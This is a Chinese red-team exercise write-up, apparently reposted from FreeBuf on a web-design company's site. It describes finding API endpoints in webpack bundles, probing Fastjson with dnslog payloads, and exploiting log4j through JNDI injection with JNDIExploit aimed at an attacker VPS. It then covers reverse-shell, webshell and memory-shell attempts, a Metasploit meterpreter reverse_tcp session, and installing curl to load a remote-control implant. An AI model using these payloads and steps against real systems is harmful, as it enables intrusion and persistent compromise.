新聞中心
前言
在如今錯(cuò)綜復(fù)雜的網(wǎng)絡(luò)環(huán)境,還有各種防護(hù)設(shè)備的加持,漏洞利用可謂難上加難。這里簡單記錄下在一次攻防演練中從打點(diǎn)到權(quán)限維持的曲折過程。

創(chuàng)新互聯(lián)服務(wù)項(xiàng)目包括播州網(wǎng)站建設(shè)、播州網(wǎng)站制作、播州網(wǎng)頁制作以及播州網(wǎng)絡(luò)營銷策劃等。多年來,我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢(shì)、行業(yè)經(jīng)驗(yàn)、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機(jī)構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,播州網(wǎng)站推廣取得了明顯的社會(huì)效益與經(jīng)濟(jì)效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到播州省份的部分城市,未來相信會(huì)繼續(xù)擴(kuò)大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!
過程
前期先從備案查詢、子域名收集、端口掃描等方式獲取資產(chǎn)URL。其次對(duì)URL進(jìn)行指紋識(shí)別,雖然發(fā)現(xiàn)了幾個(gè)存在指紋的系統(tǒng),但后續(xù)滲透發(fā)現(xiàn)漏洞已無法利用,漏洞已修。最后老實(shí)本分對(duì)其他Web系統(tǒng)進(jìn)行滲透,尋找突破口。
01 前后端分離架構(gòu)
前后端分離的開發(fā)架構(gòu)已然成為互聯(lián)網(wǎng)項(xiàng)目開發(fā)的主流模式,通過nginx+tomcat(中間加Node.js)來進(jìn)行解耦,是未來的大型分布式架構(gòu)、彈性計(jì)算架構(gòu)、微服務(wù)架構(gòu)和多端化服務(wù)的基礎(chǔ)。
·前端:負(fù)責(zé)View和Controller層·后端:負(fù)責(zé)Model層,進(jìn)行業(yè)務(wù)/數(shù)據(jù)處理
JAVA 更適合做 Model 層、持久層的業(yè)務(wù),引入Node.js可進(jìn)行Controller層的處理。Node.js作為橋梁架接服務(wù)端API輸出的JSON數(shù)據(jù)。
02 WebPack資源管理
WebPack本身作為一個(gè)資源管理和打包構(gòu)建工作,其強(qiáng)大之處在于各種靜態(tài)資源的依賴分析和預(yù)編譯。經(jīng)過WebPack編譯后得到各種靜態(tài)資源,通常生成dist文件夾,保存各種靜態(tài)文件。其結(jié)構(gòu)大致如下:
而app.js文件通常包含了各類前端路由或者后端API接口,是我們滲透前后端系統(tǒng)的突破口。當(dāng)然不僅僅只是app.js中會(huì)存在。
03 發(fā)現(xiàn)指紋Fastjson
使用burp插件,可自動(dòng)從js中爬取前端路由或者后端API接口
當(dāng)獲取到后端API接口時(shí),使用burp的Intruder模塊對(duì)所有接口發(fā)送GET和POST請(qǐng)求,POST請(qǐng)求時(shí)可以構(gòu)造json請(qǐng)求體發(fā)送。
部分接口進(jìn)行GET請(qǐng)求時(shí),后端返回缺失某參數(shù),此時(shí)可構(gòu)造該參數(shù)并進(jìn)行SQL注入等漏洞利用。
此時(shí)從報(bào)錯(cuò)信息中發(fā)現(xiàn)某個(gè)接口使用Fastjson組件
于是利用DNS探測(cè)判斷Fastjson版本
Fastjson < 1.2.43
{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}Fastjson < 1.2.48
{"@type":"java.net.InetAddress","val":"dnslog"}Fastjson < 1.2.68
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
{{"@type":"java.net.URL","val":"http://dnslog"}:0}未發(fā)現(xiàn)DNSLog回顯
04 發(fā)現(xiàn)log4j漏洞
字段Content-Type存在dnslog回顯,先試試dns協(xié)議進(jìn)行dnslog探測(cè)
可探測(cè)java版本,1.8.0_171版本
使用ldap協(xié)議進(jìn)行dnslog探測(cè)
可探測(cè)服務(wù)器類型,Linux系統(tǒng)
可進(jìn)行jndi注入利用,使用工具JNDIExploit-1.4-SNAPSHOT.jar
查看使用方式
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u使用TomcatEcho鏈執(zhí)行命令并回顯
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-vps-ip發(fā)送cmd命令請(qǐng)求
成功執(zhí)行命令并回顯,root權(quán)限
此時(shí)獲取命令執(zhí)行權(quán)限,如何進(jìn)行權(quán)限維持?獲取一個(gè)穩(wěn)定的shell
05 權(quán)限維持
1)執(zhí)行命令,直接反彈shell
2)執(zhí)行命令,寫入webshell
3)jndi注入工具支持打入內(nèi)存馬
4)jndi注入工具1.4版本新增支持上線msf
第一種嘗試:執(zhí)行bash、sh命令反彈shell,存在ldap請(qǐng)求,但反彈命令未執(zhí)行成功;
第二種嘗試:通過pwd、ls命令進(jìn)行Web系統(tǒng)目錄,發(fā)現(xiàn)服務(wù)由jar起的,寫入webshell文件無法利用;
第三種嘗試:VPS收到打入內(nèi)存馬的ldap請(qǐng)求,但訪問內(nèi)存馬路徑時(shí)顯示404;
第四種嘗試:使用tomcatBypass路由上線msf成功
msf開啟監(jiān)聽,使用payload:java/meterpreter/reverse_tcp
設(shè)置LHOST、LPORT,執(zhí)行run開啟監(jiān)聽
發(fā)送ldap請(qǐng)求,請(qǐng)求tomcatBypass路由,IP是VPS的IP,PORT是msf監(jiān)聽的端口
上線msf,得到穩(wěn)定式shell
得到shell,但無法進(jìn)行直觀目錄瀏覽,而且shell是交互式shell,有沒有更好的遠(yuǎn)控方式呢?
06 上線遠(yuǎn)控
在本公眾號(hào)前面發(fā)過的文章中提到一款遠(yuǎn)控平臺(tái),自帶某廠商證書,為免殺工作省去大量功夫。但上線命令需要使用curl命令,然而該機(jī)器上并沒有curl命令。
沒有curl,但有wget,可不可以使用wget替換curl,詢問下chatgpt
答案是存在可替換的,但卻達(dá)不到我們的效果
于是安裝curl命令,但yum、apt-get等命令也沒有
很奇怪的一個(gè)系統(tǒng),大概率是個(gè)閹割版的docker容器,先看下系統(tǒng)版本類型
cat /etc/os-release這種系統(tǒng)內(nèi)核,百度下
是個(gè)docker無疑了,詢問chatgpt該內(nèi)核的系統(tǒng)如何下載curl
Apline Linux內(nèi)核使用輕量級(jí)的apk包管理工具來管理軟件包。執(zhí)行一鍵安裝命令,等待安裝過程
安裝完成,接下來使用curl命令一鍵上線遠(yuǎn)控。
總結(jié)
命令執(zhí)行無法反彈shell或許是防護(hù)設(shè)備攔截所致。
本文作者:極致攻防實(shí)驗(yàn)室, 轉(zhuǎn)載請(qǐng)注明來自FreeBuf.COM
分享題目:記一次攻防演練打點(diǎn)過程
文章轉(zhuǎn)載:http://m.5511xx.com/article/coicgge.html


咨詢
建站咨詢
